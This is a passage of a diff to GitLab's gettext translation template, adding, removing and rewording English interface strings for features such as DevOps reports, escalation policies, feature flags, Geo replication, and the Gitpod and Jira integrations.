+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
